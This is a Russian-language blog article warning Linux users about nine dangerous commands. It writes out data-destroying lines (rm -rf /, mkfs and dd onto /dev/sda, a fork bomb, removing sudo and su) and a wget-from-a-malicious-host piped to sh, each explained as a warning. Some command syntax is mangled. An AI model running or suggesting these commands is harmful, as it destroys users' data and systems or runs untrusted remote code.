Опасные команды Linux

Операционная система Linux  с открытым исходным кодом нарастила обороты со временем, но все таки ее еще нельзя назвать по настоящему популярной.

Многих останавливает проблема обучения Линукс, или просто момент перестройки с привычного Windows.

Так же, работа в «никсах» предполагает различые манипуляции с командной строкой.

Но если вы не используете команды Linux полностью отдавая отчет в своих действиях, вы можете потерять свои данные, или повредить свою ОС

В этой статье я собираюсь предоставить информации о опасных командах, на которые необходимо обратить внимание при использовании Linux.

1. Команда rm -rf

rm  = используется для удаления файлов
rm -r = рекурсивно удаляет папку, даже если папка пустая
rm -f = команда удаляет файлы «только для чтения»
rm -rf / = удаление всего в корневом каталоге
rm -rf *  = удаление всего в текущем каталоге
rm -rf . =  удаление всего в текущей папке и подкаталогах

пример вывода rm —help в Astra Linux Smolensk

2. mkfs.ext4/dev/sda1

Уже рассматривали недавно mkfs, в статье о форматировании флешки на Linux.

mkfs.ext4/dev/sda1 — команда, которая форматирует весь жесткий диск и заменяет его новой ext3 файловой системой.

Как только вы выполните команду — все ваши данные потеряны и не могут быть восстановлены.

3. :(){:|:&};: -Fork Bomb

Фактически этой командой вы создаете функцию, которая циклически удваивается не может закончится.

Это безобразие будет продолжаться вплоть до того, пока не исчерпает системные ресурсы.

4. mv ~/dev/null — Перемещение корневого каталога в никуда

Перемещение чего-либо в /dev/null является тем же самым, что удаление.

Думайте о /dev/null как о пустоте.

По существу mv ~/dev/null посылает все ваши личные файлы в никуда.

5. wget http://malicious_source-O-| sh

Эта команда состоит в том, чтобы загрузить сценарий с источника, и выполнить ее.

Команда ‘wget’ загружает сценарий, и команда ‘sh’ выполняет загруженный сценарий.

Нужно всегда загружать пакеты и сценарии от надежного источника.

6. dd if=/dev/random of=/dev/sda

Утилитой dd мы уже пользовались в статье «как создать образ Astra Linux»

the dd if=/dev/random of=/dev/sda удаляет все файлы/файловые системы жесткого диска.

7. > file

Команда » > » используется, чтобы сбросить содержание файл.

8. Команда > /dev/sda

Команда » > /dev/sda » еще более проста; любая команда, которую вы выполняете (вместо “команды”) запишет выходные данные в первый жесткий диск, заменив все файлы и папки.

Эта команда поочередно повреждает вашу всю файловую систему.

9. rm -f /usr/bin/sudo;rm -f /bin/su

Эти команды позволяют отключить две из самых важных команд на Linux: sudo и su.

Эти два действия позволяют вам выполнять другие команды с полномочиями root.

cryptoparty

Cryptography is typically bypassed, not penetrated.

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *

5e7fa976b0640d40